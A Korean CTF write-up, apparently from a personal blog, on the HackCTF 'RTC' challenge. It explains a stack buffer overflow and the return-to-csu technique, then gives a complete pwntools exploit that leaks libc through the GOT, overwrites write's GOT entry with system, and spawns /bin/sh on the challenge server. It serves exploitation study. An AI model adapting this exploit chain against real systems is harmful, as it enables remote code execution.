보호기법 확인.
64비트 바이너리에 nx, 부분relro가 걸려있다.
main함수를 보니 write로 글하나를 띄워주고 read로 입력을받고 종료하는 것을 알 수 있다.
실제로 실행해보니 쓸데없는 문자열하나 띄워주고 입력받고 종료된다.
main 함수를 보면 0x40 크기의 버퍼에 0x200 만큼 입력을 받으므로 bof가 발생한다.
이걸 이용해 ROP처럼 하면 될것같다.
그런데 64비트니까 함수 매개변수를 스택이아니라 레지스터로 전달한다. 그러므로 레지스터를 설정해줄 gadget이 필요하다. 여기서 사용되는 함수들인 read write는 매개변수가 3개이상 필요하니까 pop rdi, rsi, rdx 정도는 있어야 될 것같다.
그러나 ROPgadget을 통해 확인해보면 뭔가 애매하다.
그러므로 이 문제의 이름과 같이 rtc를 이용해야 한다.
rtc기법은 64비트 ROP에서 가젯이 부족할 때 __libc_csu_init 내부의 가젯을 이용하여 ROP와 비슷하게 익스할수 있는 기법이다.
__libc_csu_init 함수는 main함수가 실행되기전에 뭐 libc start main 이런거랑 관련있는거라고 알고있는데 일단 그부분은 넘어가도록한다.
__libc_csu_init 내부를 보면 아랫부분에 pop 을 6번해서 rbx, rbp, r12, r13, r14, r15를 세팅해주고 ret 하게된다.
그리고 윗부분에 +64번째 명령어부터 보면 r13, r14, r15의 값을 각각 rdx, rsi, edi 에 넣어주고, r12 + rbx*8 주소에 있는 함수를 호출하는 것을 알 수 있다.
즉, main에서 ret주소를 덮어서 __libc_csu_init +90 로 점프하고, rbx, rbp, r12, r13, r14, r15에 스택에 있는 값들을 차례대로 넣어주고, 그다음 ret으로 __libc_csu_init +64 로 점프해서 r13, r14, r15에 있는 값을 rdx, rsi ,edi에 넣어주고 r12 + rbx*8에서 rbx의 값이 0 이면 call에서 r12를 호출하게 된다.
그다음으로 rbx++ 를 해주고 rbx와 rbp가 같다면 rsp = rsp+8 하고 다시 pop 6번, ret를 하게된다.
이를 이용하면 ROP와 유사하게 익스를 할 수 있다.
이것을 이용하여 payload를 작성한다.
payload = "A"*0x40
payload += "B" * 8
payload += p64(pop) # csu의 pop 부분으로 점프
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(e.got["write"]) # r12
payload += p64(8) # r13
payload += p64(e.got["write"]) # r14
payload += p64(0) # r15
payload += p64(call) # ret
payload += p64(0) # call 아랫부분에서 rsp + 0x8 을 하기때문에 더미값 8바이트를 넣어줘야함
여기까지만 보면, csu_pop 으로 점프하고 6번의 pop으로 레지스터를 세팅하고, csu의 call부분으로 점프하여 write함수를 호출한다. 이때 rdx, rsi, edi가 r13, r14, r15 의 값으로 세팅되어있기때문에 write(0, got["write"], 8) 을 호출하게된다.
즉 write 함수로 write함수의 libc 실제 주소를 leak하는 것 이다.
leak 후에는 당연히 base 주소 구하고 system 주소 구하고 system("/bin/sh") 시전.
csu내부에 ret이 있으므로 계속 ROP와 마찬가지로 계속 이함수 저함수 호출할 수 있으므로 원하는방식으로 익스 가능.
쉘 획득.
전체 payload 는 다음과 같다.
from pwn import *
context.log_level='debug'
r = remote("ctf.j0n9hyun.xyz", 3025)
#r = process("./rtc")
e = ELF("./rtc")
bss = e.bss()
libc = e.libc
pop = 0x00000000004006ba
call = 0x00000000004006a0
r.recvline()
payload = "A"*0x40
payload += "B" * 8
payload += p64(pop) # csu의 pop 부분으로 점프
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(e.got["write"]) # r12
payload += p64(8) # r13
payload += p64(e.got["write"]) # r14
payload += p64(0) # r15
payload += p64(call) # ret
payload += p64(0) # call 아랫부분에서 rsp + 0x8 을 하기때문에 더미값 8바이트를 넣어줘야함
payload += p64(0)
payload += p64(1)
payload += p64(e.got["read"])
payload += p64(8)
payload += p64(e.got["write"])
payload += p64(0)
payload += p64(call)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(e.got["read"])
payload += p64(8)
payload += p64(bss)
payload += p64(0)
payload += p64(call)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(e.got["write"])
payload += p64(0)
payload += p64(0)
payload += p64(bss)
payload += p64(call)
payload += p64(0)
#print(payload)
#paylaod +=
#gdb.attach(r)
#pause()
r.send(payload)
leak = u64(r.recvuntil('\x7f')[-6:] + '\x00\x00')
base = leak - 0xf72b0
system = base + 0x45390
print(hex(base))
print(hex(system))
r.send(p64(system))
sleep(0.5)
r.send("/bin/sh\n")
r.interactive()
'Pwnable > Wargame' 카테고리의 다른 글
[Dreamhack] environ Write Up (0) | 2021.10.19 |
---|---|
[HackCTF] babyheap Write Up (0) | 2021.10.15 |
[HackCTF] ROP Write Up (0) | 2021.09.27 |
[Dreamhack] hook Write Up (0) | 2021.09.25 |
[HackCTF] RTL_World Write Up (0) | 2021.09.24 |